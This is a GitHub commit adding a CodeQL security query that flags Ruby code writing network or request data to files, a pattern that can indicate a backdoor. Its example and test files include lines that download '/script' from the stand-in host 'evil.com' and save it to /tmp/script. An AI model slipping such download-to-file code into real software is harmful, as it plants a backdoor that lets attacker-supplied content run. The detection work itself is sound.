Skip to content

Commit ff1d96c

Browse files
committed
Ruby: Add rb/http-to-file-access query
1 parent 6c18e1d commit ff1d96c

File tree

9 files changed

+171
-0
lines changed

9 files changed

+171
-0
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
/**
2+
* Provides default sources, sinks and sanitizers for reasoning about
3+
* writing user-controlled data to files, as well as extension points
4+
* for adding your own.
5+
*/
6+
7+
import ruby
8+
import codeql.ruby.DataFlow
9+
import codeql.ruby.dataflow.RemoteFlowSources
10+
import codeql.ruby.Concepts
11+
12+
module HttpToFileAccess {
13+
/**
14+
* A data flow source for writing user-controlled data to files.
15+
*/
16+
abstract class Source extends DataFlow::Node { }
17+
18+
/**
19+
* A data flow sink for writing user-controlled data to files.
20+
*/
21+
abstract class Sink extends DataFlow::Node { }
22+
23+
/**
24+
* A sanitizer for writing user-controlled data to files.
25+
*/
26+
abstract class Sanitizer extends DataFlow::Node { }
27+
28+
/** A source of remote user input, considered as a flow source for writing user-controlled data to files. */
29+
class RemoteFlowSourceAsSource extends Source {
30+
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
31+
}
32+
33+
/** A sink that represents file access method (write, append) argument */
34+
class FileAccessAsSink extends Sink {
35+
FileAccessAsSink() { exists(FileSystemWriteAccess src | this = src.getADataNode()) }
36+
}
37+
}
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
/**
2+
* Provides a taint tracking configuration for reasoning about writing user-controlled data to files.
3+
*
4+
* Note, for performance reasons: only import this file if
5+
* `HttpToFileAccess::Configuration` is needed, otherwise
6+
* `HttpToFileAccessCustomizations` should be imported instead.
7+
*/
8+
9+
import ruby
10+
import codeql.ruby.TaintTracking
11+
import codeql.ruby.DataFlow
12+
import codeql.ruby.security.HttpToFileAccessCustomizations::HttpToFileAccess
13+
14+
/**
15+
* A taint tracking configuration for writing user-controlled data to files.
16+
*/
17+
class Configuration extends TaintTracking::Configuration {
18+
Configuration() { this = "HttpToFileAccess" }
19+
20+
override predicate isSource(DataFlow::Node source) { source instanceof Source }
21+
22+
override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
23+
24+
override predicate isSanitizer(DataFlow::Node node) {
25+
super.isSanitizer(node) or
26+
node instanceof Sanitizer
27+
}
28+
}
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
---
2+
category: newQuery
3+
---
4+
* Added a new query, `rb/http-to-file-access`. The query finds cases where data from remote user input is written to a file.
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
<!DOCTYPE qhelp PUBLIC
2+
"-//Semmle//qhelp//EN"
3+
"qhelp.dtd">
4+
<qhelp>
5+
6+
<overview>
7+
<p>
8+
Storing user-controlled data on the local file system without
9+
further validation allows arbitrary file upload, and may be
10+
an indication of malicious backdoor code that has been
11+
implanted into an otherwise trusted code base.
12+
</p>
13+
</overview>
14+
15+
<recommendation>
16+
<p>
17+
Examine the highlighted code closely to ensure that it is
18+
behaving as intended.
19+
</p>
20+
</recommendation>
21+
22+
<example>
23+
<p>
24+
The following example shows backdoor code that downloads data
25+
from the URL <code>https://evil.com/script</code>, and stores
26+
it in the local file <code>/tmp/script</code>.
27+
</p>
28+
29+
<sample src="examples/http_to_file_access.rb"/>
30+
31+
<p>
32+
Other parts of the program might then assume that since
33+
<code>/tmp/script</code> is a local file its contents can be
34+
trusted, while in fact they are obtained from an untrusted
35+
remote source.
36+
</p>
37+
</example>
38+
39+
<references>
40+
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
41+
<li>OWASP: <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">Unrestricted File Upload</a>.</li>
42+
</references>
43+
</qhelp>
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
/**
2+
* @name Network data written to file
3+
* @description Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.
4+
* @kind path-problem
5+
* @problem.severity warning
6+
* @security-severity 6.3
7+
* @precision medium
8+
* @id rb/http-to-file-access
9+
* @tags security
10+
* external/cwe/cwe-912
11+
* external/cwe/cwe-434
12+
*/
13+
14+
import ruby
15+
import codeql.ruby.DataFlow::DataFlow::PathGraph
16+
import codeql.ruby.security.HttpToFileAccessQuery
17+
18+
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
19+
where cfg.hasFlowPath(source, sink)
20+
select sink.getNode(), source, sink, "$@ flows to file system", source.getNode(), "Untrusted data"
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
require "net/http"
2+
3+
resp = Net::HTTP.new("evil.com").get("/script").body
4+
file = File.open("/tmp/script", "w")
5+
file.write(body)
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
edges
2+
| http_to_file_access.rb:3:8:3:52 | call to body : | http_to_file_access.rb:5:12:5:15 | resp |
3+
| http_to_file_access.rb:9:16:9:21 | call to params : | http_to_file_access.rb:9:16:9:30 | ...[...] : |
4+
| http_to_file_access.rb:9:16:9:30 | ...[...] : | http_to_file_access.rb:11:18:11:23 | script |
5+
nodes
6+
| http_to_file_access.rb:3:8:3:52 | call to body : | semmle.label | call to body : |
7+
| http_to_file_access.rb:5:12:5:15 | resp | semmle.label | resp |
8+
| http_to_file_access.rb:9:16:9:21 | call to params : | semmle.label | call to params : |
9+
| http_to_file_access.rb:9:16:9:30 | ...[...] : | semmle.label | ...[...] : |
10+
| http_to_file_access.rb:11:18:11:23 | script | semmle.label | script |
11+
subpaths
12+
#select
13+
| http_to_file_access.rb:5:12:5:15 | resp | http_to_file_access.rb:3:8:3:52 | call to body : | http_to_file_access.rb:5:12:5:15 | resp | $@ flows to file system | http_to_file_access.rb:3:8:3:52 | call to body | Untrusted data |
14+
| http_to_file_access.rb:11:18:11:23 | script | http_to_file_access.rb:9:16:9:21 | call to params : | http_to_file_access.rb:11:18:11:23 | script | $@ flows to file system | http_to_file_access.rb:9:16:9:21 | call to params | Untrusted data |
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
queries/security/cwe-912/HttpToFileAccess.ql
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
require "net/http"
2+
3+
resp = Net::HTTP.new("evil.com").get("/script").body
4+
file = File.open("/tmp/script", "w")
5+
file.write(resp) # BAD
6+
7+
class ExampleController < ActionController::Base
8+
def example
9+
script = params[:script]
10+
file = File.open("/tmp/script", "w")
11+
file.write(script) # BAD
12+
end
13+
14+
def example2
15+
a = "a"
16+
file = File.open("/tmp/script", "w")
17+
file.write(a) # GOOD
18+
end
19+
end

0 commit comments

Comments
 (0)